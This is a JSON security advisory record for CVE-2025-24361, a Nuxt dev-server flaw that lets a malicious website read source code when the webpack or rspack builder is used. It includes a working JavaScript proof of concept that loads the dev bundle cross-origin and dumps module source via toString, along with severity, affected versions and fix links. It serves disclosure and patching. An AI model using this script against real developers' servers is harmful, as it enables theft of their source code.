{"id":"CVE-2025-24361","aliases":["GHSA-4gf7-ff8x-hq99"],"url":"https://o3.security/vulnerability/CVE-2025-24361","summary":"Opening a malicious website while running a Nuxt dev server could allow read-only access to code","details":"### Summary\nSource code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.\n\n### Details\nBecause the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src=\"http://localhost:3000/_nuxt/app.js\">` in their site and run the script.\nBy using `Function::toString` against the values in `window.webpackChunknuxt_app`, the attacker can get the source code.\n\n### PoC\n1. Create a nuxt project with webpack / rspack builder.\n1. Run `npm run dev`\n1. Open `http://localhost:3000`\n1. Run the script below in a web site that has a different origin.\n1. You can see the source code output in the document and the devtools console.\n\n```js\nconst script = document.createElement('script')\nscript.src = 'http://localhost:3000/_nuxt/app.js'\nscript.addEventListener('load', () => {\n  for (const page in window.webpackChunknuxt_app) {\n    const moduleList = window.webpackChunknuxt_app[page][1]\n    console.log(moduleList)\n\n    for (const key in moduleList) {\n      const p = document.createElement('p')\n      const title = document.createElement('strong')\n      title.textContent = key\n      const code = document.createElement('code')\n      code.textContent = moduleList[key].toString()\n      p.append(title, ':', document.createElement('br'), code)\n      document.body.appendChild(p)\n    }\n  }\n})\ndocument.head.appendChild(script)\n```\n\n![image](https://github.com/user-attachments/assets/201e39b7-da5c-4359-867f-96c9adfd3c85)\nIt contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the `sourcesContent` field).\n\n### Impact\nUsers using webpack / rspack builder may get the source code stolen by malicious websites.\n","published":"2025-01-25T00:53:23.400Z","modified":"2026-08-12T03:51:48.008371768Z","cvss":{"score":5.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@nuxt/webpack-builder","fixedVersion":"3.15.3"},{"ecosystem":"npm","name":"@nuxt/rspack-builder","fixedVersion":"3.15.3"}],"fix":{"url":"https://github.com/nuxt/nuxt/commit/7eeb910bf4accb1e0193b9178c746f06ad3dd88f","label":"nuxt/nuxt@7eeb910"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/24xxx/CVE-2025-24361.json"},{"type":"ADVISORY","url":"https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-24361"},{"type":"FIX","url":"https://github.com/nuxt/nuxt/commit/7eeb910bf4accb1e0193b9178c746f06ad3dd88f"},{"type":"PACKAGE","url":"https://github.com/nuxt/nuxt"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:48.008371768Z"}}